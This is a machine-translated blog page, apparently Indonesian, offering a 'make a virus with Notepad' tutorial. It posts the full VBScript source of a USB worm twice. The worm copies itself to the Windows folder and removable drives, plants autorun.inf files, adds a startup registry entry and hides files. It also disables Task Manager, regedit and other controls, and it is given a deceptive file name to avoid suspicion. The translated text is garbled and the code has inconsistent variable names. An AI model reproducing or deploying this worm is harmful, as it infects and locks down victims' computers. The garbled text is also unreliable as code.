HKLM, SOFTWARE \ Microsoft \ Windows NT \ CurrentVersion \ Image File Execution Options \ PCMAV-RTP.exe, Debugger
After that save the FILE TYPE: ALL FILES (*.*) and save with the name: kalongxremoval.inf. Then right-click the file and select install. So we create a virus and Antidotnya together with Notepad.ini tutorial is the property of friends but I am calm aja da kurubah sintak program in the registry in its
Source: http://sahammudien.wordpress.com/2007/12/12/make-virus-via-notepad/
Make Virus Is Easy
Few Virus Tutorial.
'//-- Start of the code, set to be left when the error occurred and then continue the virus - / /
on error resume next
Dim'//-- words following - / /
rekur dim, windowpath, flashdrive, fs, mf, content, TF, bat, nt, check, sd
'//-- Set a text that will be made for Autorun Setup Information - / /
content = "[autorun]" & vbCrLf & "shellexecute = wscript.exe k4l0n6.dll.vbs"
set fs = createobject ( "Scripting.FileSystemObject")
set mf = fs.getfile (Wscript.ScriptFullname)
dim text, size
size = mf.size
check = mf.drive.drivetype
set text = mf.openastextstream (1, -2)
do while not text.atendofstream
rekur = rekur & text.readline
rekur = rekur & vbCrLf
loop
do
Copy'//-- themselves to be the master file in the Windows path (example: C: \ Windows)
Set windowpath = fs.getspecialfolder (0)
set TF = fs.getfile (windowpath & "\ batch-k4l0n6.dll.vbs")
tf.attributes = 32
set TF = fs.createtextfile (windowpath & "\ batch-k4l0n6.dll.vbs", 2, true)
tf.write rekursif
tf.close
set TF = fs.getfile (windowpath & "\ batch-k4l0n6.dll.vbs")
tf.attributes = 39
'//-- Create Atorun.inf virus to run automatically each flash disc tercolok - / /
'Spread to every drive bertype 1 and 2 (removable), including floppy disks
for each flashdrive in fs.drives
Check'//-- Drive - / /
If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path <> "A:" then
'//-- Create Infector If Drivetypr 1 or 2. Or A: \ - / /
set TF = fs.getfile (flashdrive.path & "\ k4l0n6.dll.vbs")
tf.attributes = 32
set TF = fs.createtextfile (flashdrive.path & "\ k4l0n6.dll.vbs", 2, true)
tf.write rekursif
tf.close
set TF = fs.getfile (flashdrive.path & "\ k4l0n6.dll.vbs")
tf.attributes = 39
'//-- Create Atorun.inf the text before it is prepared (Auto Setup Information )--//
set TF = fs.getfile (flashdrive.path & "\ autorun.inf")
tf.attributes = 32
set TF = fs.createtextfile (flashdrive.path & "\ autorun.inf", 2, true)
tf.write contents
tf.close
set TF = fs.getfile (flashdrive.path & "\ autorun.inf")
tf.attributes = 39
end if
next
Manipulation'//-- Registry - / /
set bat = createobject ( "WScript.Shell")
'//-- Manip - Title Change Internet Explorer into the bat vs ZAY - / /
kalong.regwrite "HKEY_CURRENT_USER \ Software \ Microsoft \ Internet Explorer \ Main \ Window Title", "THE bat vs ZAY"
'//-- Manip - Set that does not show hidden files in Explorer - / /
kalong.RegWrite "HKEY_CURRENT_USER \ Software \ Microsoft \ Windows \ CurrentVersion \ Policies \ Explorer \ Advanced \ Hidden", "0", "REG_DWORD"
'//-- Manip - Remove the Find menu, Folder Options, Run, and block regedit and Task Manager - / /
kalong.RegWrite "HKEY_CURRENT_USER \ Software \ Microsoft \ Windows \ CurrentVersion \ Policies \ Explorer \ NoFind", "1", "REG_DWORD"
kalong.RegWrite "HKEY_CURRENT_USER \ Software \ Microsoft \ Windows \ CurrentVersion \ Policies \ Explorer \ NoFolderOptions", "1", "REG_DWORD"
kalong.RegWrite "HKEY_CURRENT_USER \ Software \ Microsoft \ Windows \ CurrentVersion \ Policies \ Explorer \ NoRun", "1", "REG_DWORD"
kalong.RegWrite "HKEY_CURRENT_USER \ Software \ Microsoft \ Windows \ CurrentVersion \ Policies \ System \ DisableRegistryTools", "1", "REG_DWORD"
kalong.RegWrite "HKEY_CURRENT_USER \ Software \ Microsoft \ Windows \ CurrentVersion \ Policies \ System \ DisableTaskMgr", "1", "REG_DWORD"
'//-- Manip - Disable right-click - / /
kalong.RegWrite "HKEY_CURRENT_USER \ Software \ Microsoft \ Windows \ CurrentVersion \ Policies \ Explorer \ NoViewContextMenu", "1", "REG_DWORD"
'//-- Manip - Munculkan Message Every Windows Startup - / /
kalong.regwrite "HKEY_LOCAL_MACHINE \ Software \ Microsoft \ Windows \ CurrentVersion \ Winlogon \ LegalNoticeCaption", "Worm bat. Rangga from Variant-Zay, do not panic all data are safe."
'//-- Manip - On the Windows Startup - / /
kalong.regwrite "HKEY_LOCAL_MACHINE \ Software \ Microsoft \ Windows \ CurrentVersion \ Run \ Systemdir", windowpath & "\ batch-k4l0n6.dll.vbs"
'//-- Manip - Change RegisteredOwner and Organization - / /
kalong.regwrite "HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows NT \ CurrentVersion \ RegisteredOrganization", "The Batrix"
kalong.regwrite "HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows NT \ CurrentVersion \ RegisteredOwner", "bat"
Nah'//-- under this code if I do not, please explain to Aat_S Mas - / /
if check <> 1 then
Wscript.sleep 200,000
end if
loop while check <> 1
set sd = createobject ( "Wscript.shell")
sd.run windowpath & "\ explorer.exe / e, / select," & Wscript.ScriptFullname
'End of Code
Save code in Notepad with the FILE> SAVE. Then in the save as type select "All Files (*.*). Save with the name: k4l0n6.dll.vbs. Actually I need a *. dll is also nothing but a business that does not suspicious aja.
He .. he ... Worm Virus is not pure thoughts of my own code because it mimics the virus Rangga-Zay
source: http://www.yogyafree.net/forum2/viewtopic.php?t=5787
http://davidliauw.blogspot.com/2007/06/make-virus-is-easy.html
'//-- Start of the code, set to be left when the error occurred and then continue the virus - / /
on error resume next
Dim'//-- words following - / /
rekur dim, windowpath, flashdrive, fs, mf, content, TF, bat, nt, check, sd
'//-- Set a text that will be made for Autorun Setup Information - / /
content = "[autorun]" & vbCrLf & "shellexecute = wscript.exe k4l0n6.dll.vbs"
set fs = createobject ( "Scripting.FileSystemObject")
set mf = fs.getfile (Wscript.ScriptFullname)
dim text, size
size = mf.size
check = mf.drive.drivetype
set text = mf.openastextstream (1, -2)
do while not text.atendofstream
rekur = rekur & text.readline
rekur = rekur & vbCrLf
loop
do
Copy'//-- themselves to be the master file in the Windows path (example: C: \ Windows)
Set windowpath = fs.getspecialfolder (0)
set TF = fs.getfile (windowpath & "\ batch-k4l0n6.dll.vbs")
tf.attributes = 32
set TF = fs.createtextfile (windowpath & "\ batch-k4l0n6.dll.vbs", 2, true)
tf.write rekursif
tf.close
set TF = fs.getfile (windowpath & "\ batch-k4l0n6.dll.vbs")
tf.attributes = 39
'//-- Create Atorun.inf virus to run automatically each flash disc tercolok - / /
'Spread to every drive bertype 1 and 2 (removable), including floppy disks
for each flashdrive in fs.drives
Check'//-- Drive - / /
If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path <> "A:" then
'//-- Create Infector If Drivetypr 1 or 2. Or A: \ - / /
set TF = fs.getfile (flashdrive.path & "\ k4l0n6.dll.vbs")
tf.attributes = 32
set TF = fs.createtextfile (flashdrive.path & "\ k4l0n6.dll.vbs", 2, true)
tf.write rekursif
tf.close
set TF = fs.getfile (flashdrive.path & "\ k4l0n6.dll.vbs")
tf.attributes = 39
'//-- Create Atorun.inf the text before it is prepared (Auto Setup Information )--//
set TF = fs.getfile (flashdrive.path & "\ autorun.inf")
tf.attributes = 32
set TF = fs.createtextfile (flashdrive.path & "\ autorun.inf", 2, true)
tf.write contents
tf.close
set TF = fs.getfile (flashdrive.path & "\ autorun.inf")
tf.attributes = 39
end if
next
Manipulation'//-- Registry - / /
set bat = createobject ( "WScript.Shell")
'//-- Manip - Title Change Internet Explorer into the bat vs ZAY - / /
kalong.regwrite "HKEY_CURRENT_USER \ Software \ Microsoft \ Internet Explorer \ Main \ Window Title", "THE bat vs ZAY"
'//-- Manip - Set that does not show hidden files in Explorer - / /
kalong.RegWrite "HKEY_CURRENT_USER \ Software \ Microsoft \ Windows \ CurrentVersion \ Policies \ Explorer \ Advanced \ Hidden", "0", "REG_DWORD"
'//-- Manip - Remove the Find menu, Folder Options, Run, and block regedit and Task Manager - / /
kalong.RegWrite "HKEY_CURRENT_USER \ Software \ Microsoft \ Windows \ CurrentVersion \ Policies \ Explorer \ NoFind", "1", "REG_DWORD"
kalong.RegWrite "HKEY_CURRENT_USER \ Software \ Microsoft \ Windows \ CurrentVersion \ Policies \ Explorer \ NoFolderOptions", "1", "REG_DWORD"
kalong.RegWrite "HKEY_CURRENT_USER \ Software \ Microsoft \ Windows \ CurrentVersion \ Policies \ Explorer \ NoRun", "1", "REG_DWORD"
kalong.RegWrite "HKEY_CURRENT_USER \ Software \ Microsoft \ Windows \ CurrentVersion \ Policies \ System \ DisableRegistryTools", "1", "REG_DWORD"
kalong.RegWrite "HKEY_CURRENT_USER \ Software \ Microsoft \ Windows \ CurrentVersion \ Policies \ System \ DisableTaskMgr", "1", "REG_DWORD"
'//-- Manip - Disable right-click - / /
kalong.RegWrite "HKEY_CURRENT_USER \ Software \ Microsoft \ Windows \ CurrentVersion \ Policies \ Explorer \ NoViewContextMenu", "1", "REG_DWORD"
'//-- Manip - Munculkan Message Every Windows Startup - / /
kalong.regwrite "HKEY_LOCAL_MACHINE \ Software \ Microsoft \ Windows \ CurrentVersion \ Winlogon \ LegalNoticeCaption", "Worm bat. Rangga from Variant-Zay, do not panic all data are safe."
'//-- Manip - On the Windows Startup - / /
kalong.regwrite "HKEY_LOCAL_MACHINE \ Software \ Microsoft \ Windows \ CurrentVersion \ Run \ Systemdir", windowpath & "\ batch-k4l0n6.dll.vbs"
'//-- Manip - Change RegisteredOwner and Organization - / /
kalong.regwrite "HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows NT \ CurrentVersion \ RegisteredOrganization", "The Batrix"
kalong.regwrite "HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows NT \ CurrentVersion \ RegisteredOwner", "bat"
Nah'//-- under this code if I do not, please explain to Aat_S Mas - / /
if check <> 1 then
Wscript.sleep 200,000
end if
loop while check <> 1
set sd = createobject ( "Wscript.shell")
sd.run windowpath & "\ explorer.exe / e, / select," & Wscript.ScriptFullname
'End of Code
Save code in Notepad with the FILE> SAVE. Then in the save as type select "All Files (*.*). Save with the name: k4l0n6.dll.vbs. Actually I need a *. dll is also nothing but a business that does not suspicious aja.
He .. he ... Worm Virus is not pure thoughts of my own code because it mimics the virus Rangga-Zay
source: http://www.yogyafree.net/forum2/viewtopic.php?t=5787
http://davidliauw.blogspot.com/2007/06/make-virus-is-easy.html
Subscribe to:
Posts (Atom)
